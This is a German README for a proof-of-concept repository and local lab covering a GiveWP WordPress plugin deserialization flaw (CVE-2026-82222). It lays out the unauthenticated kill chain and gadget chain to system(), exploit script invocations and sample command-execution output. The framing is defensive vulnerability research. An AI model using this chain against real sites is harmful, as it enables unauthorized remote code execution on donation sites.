Proof-of-Concept und lokales DDEV-Lab für CVE-2026-82222, eine unauthentifizierte PHP-Object-Injection bis hin zu RCE im GiveWP-WordPress-Plugin, mit cURL- und Python-Exploit-Skripten.
| CVE | CVE-2026-82222 |
| CVSS | 10.0 (Kritisch) |
| CWE | CWE-502 — Deserialisierung nicht vertrauenswürdiger Daten |
| Betroffen | GiveWP (Donation Plugin) <= 4.16.7.1 |
| Gepatcht | 4.16.7.2 |
| Advisory | Patchstack |
NUR AUTORISIERTES TESTEN. Dieses Repository dient der Bildung, der Schwachstellenforschung und dem Testen von Systemen, die Ihnen gehören oder für die Sie ausdrücklich eine Testgenehmigung haben. Unautorisierte Nutzung ist illegal.
Dieses Repository existiert, um Sicherheitsfachleuten zu helfen, CVE-2026-82222
zu verstehen, zu erkennen und sich dagegen zu verteidigen. Alle
Demonstrationen sind für ein lokales Lab (lab/) konzipiert, das Sie auf
Ihrer eigenen Maschine ausführen. Das PoC schreibt nichts auf die Festplatte
und ändert keine Plugin-Einstellungen — die Befehlsausgabe wird ausschließlich
in der HTTP-Antwort der Trigger-Anfrage übertragen. Siehe SECURITY.md
für den vollständigen Umfang und die Melderichtlinie.
├── lab/ # DDEV + WordPress + GiveWP 4.16.5.1 verwundbares Lab
│ ├── setup.sh # Lab-Build mit einem Befehl
│ ├── set-givewp-version.sh # verwundbare/gepatchte GiveWP-Versionen wechseln
│ ├── .ddev/config.yaml # DDEV-Projektkonfiguration
│ └── README.md
├── poc/
│ ├── cve-2026-82222.sh # cURL-Exploit-Skript
│ ├── poc.py # Python-Exploit-Skript
│ └── requirements.txt
├── docs/
│ ├── ANALYSIS.md # technischer Write-up + Erreichbarkeitsmatrix
│ ├── BURP-MANUAL.md # Burp Repeater Walkthrough (Request/Response)
│ └── CURL-POC.md # Copy/Paste cURL Walkthrough
├── SECURITY.md # Umfang, Melde- und Safe-Use-Richtlinie
└── LICENSE
Vier unauthentifizierte Anfragen plus ein Trigger:
users_can_register und gibt authentifizierte WP-Cookies aus.TCPDF → Symfony Session →
DonorFactory → system) im last_name-Meta-Feld des Kontos speichern.give_last einreichen; GiveWP füllt den
Namen aus der DB, deserialisiert das Gadget mit allowed_classes=false und
serialisiert den Live-Objektgraphen in wp_give_sessions.unserialize() zurück; TCPDF::__destruct() erreicht
call_user_func_array('system', [cmd]). Die Ausgabe erscheint in der
HTTP-Antwort — nichts wird auf die Festplatte geschrieben.Vollständige Details: docs/ANALYSIS.md
cd lab
bash setup.sh
# -> https://cve-2026-82222.ddev.site
# Formular-ID wird am Ende ausgegeben, Gateway: manual, WP-Admin: admin/<random>
Erfordert Docker + DDEV.
cd poc
pip install -r requirements.txt
# cURL
bash cve-2026-82222.sh https://cve-2026-82222.ddev.site id <FORM_ID>
# Python
python3 poc.py https://cve-2026-82222.ddev.site <FORM_ID> -c id -g manual -a 10.00 -v
# nur Fingerprinting (keine Ausnutzung)
python3 poc.py https://cve-2026-82222.ddev.site --check
Beide PoCs sind bewusst auf ein einzelnes Ziel ausgelegt — es gibt keinen
Batch- oder Massenscan-Modus. Führen Sie sie nur gegen das Lab in lab/ oder
Systeme aus, für die Sie autorisiert sind.
Erwartete Erfolgsausgabe (Befehl id):
[*] CVE-2026-82222 kill chain on https://cve-2026-82222.ddev.site (form 5)
[*] 1/5 Registering cve_1b290e (GiveWP ignores users_can_register) ...
-> HTTP 302
[+] auth cookie obtained
[*] 2/5 Fetching profile nonce ...
[+] nonce=a0fd84c9d7 user_id=7
[*] 3/5 Building POP gadget for command: id
[*] 4/5 Storing gadget in wp_usermeta.last_name ...
-> HTTP 302
[+] gadget planted
[*] 5/5 Poisoning wp_give_sessions (HTTP 500 is expected) ...
-> HTTP 500
[+] session poisoned
[*] Triggering RCE ...
[+] COMMAND OUTPUT (id) from /?give_action=view_receipt :
uid=501(sajjadsiam) gid=20(dialout) groups=20(dialout)
cd lab
bash set-givewp-version.sh 4.16.7.2 # gepatchter Build
cd ../poc
python3 poc.py https://cve-2026-82222.ddev.site <FORM_ID> -c id -v
# -> Kette bricht ab; keine Ausgabe
| GiveWP | Status |
|---|---|
| <= 4.16.5.1 | Verwundbar — Standardinstallation ist vollständig erreichbar |
| 4.16.6 – 4.16.7.1 | Verwundbar — erfordert ein Legacy-Formular (nicht V3); Registrierung benötigt give_register_nonce |
| 4.16.7.2 | Gepatcht |
Dieses Repository wird ausschließlich für Bildungs- und defensive Sicherheitsforschungszwecke bereitgestellt. Der enthaltene Code demonstriert eine dokumentierte Schwachstelle, damit Verteidiger Erkennungen erstellen, Patches überprüfen und ihre eigenen Systeme testen können.
Die Autoren sind nicht verantwortlich für Missbrauch oder Schäden, die durch dieses Material verursacht werden. Verwenden Sie es nicht gegen Systeme ohne ausdrückliche Genehmigung — dies kann gegen den Computer Fraud and Abuse Act (CFAA) und entsprechende Gesetze weltweit verstoßen. Siehe SECURITY.md.
MIT — siehe LICENSE.